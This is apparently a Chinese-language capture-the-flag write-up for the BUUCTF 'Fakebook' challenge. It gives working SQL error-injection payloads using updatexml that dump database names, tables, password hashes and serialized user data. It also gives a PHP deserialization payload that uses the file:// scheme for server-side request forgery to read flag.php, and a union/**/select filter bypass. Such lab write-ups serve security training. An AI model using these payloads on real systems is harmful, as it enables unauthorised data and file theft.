buuctf-Fakebook(报错注入)

blog要有http://

 

 可以尝试sql注入,但是我用sqlmap注入不了,不知道为什么

然后尝试手工,试过很多闭合方式都不行,后来发现直接就是整型注入

 正确的情况不会有回显,错误会有,试试报错注入

这里有个之前没见过的过滤方式,过滤了0x7e,要用~(本来以为过滤了updatexml,想用另一个来着)

查当前数据库

?no=1 and updatexml(1,concat('~',(database()),'~'),1)#

查所有数据库 

?no=1 and updatexml(1,concat('~',(select group_concat(schema_name) from information_schema.schemata),'~'),1)#

 查表名

?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),'~'),1)#

 查列名

查数据

?no=1 and updatexml(1,concat('~',(select group_concat(passwd) from fakebook.users),'~'),1)#

 但这个好像并不是flag,另有关键点,在data里,有序列化代码

?no=1 and updatexml(1,concat('~',(select group_concat(left(data,30)) from fakebook.users),'~'),1)#

?no=1 and updatexml(1,concat('~',(select group_concat(right(data,30)) from fakebook.users),'~'),1)#

O:8:"UserInfo":3:{s:4:"name";s:20:"http://www.baidu.com

然后先放一下

扫目录可以扫到robots.txt和flag.php 

 

 要分析代码了

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件

<?php
class UserInfo{
    public $name = "a";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);



//O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

(如果是要读取文件的话,不知道为什么php://filter/read=convert.base64-encode/resource=

用不了,查看源代码,点了连接后是空的)

这里用报错注入的方式传值不了

 用一般的传值方法 union,select被过滤了,没有办法直接使用,可以用/**/绕过

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源代码

 

点这串base64代码,就可以看到flag

 

 注意:
让name="file:///var/www/html/flag.php"

是不行的,应该是长度或者什么的问题,传不上来

 

 

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值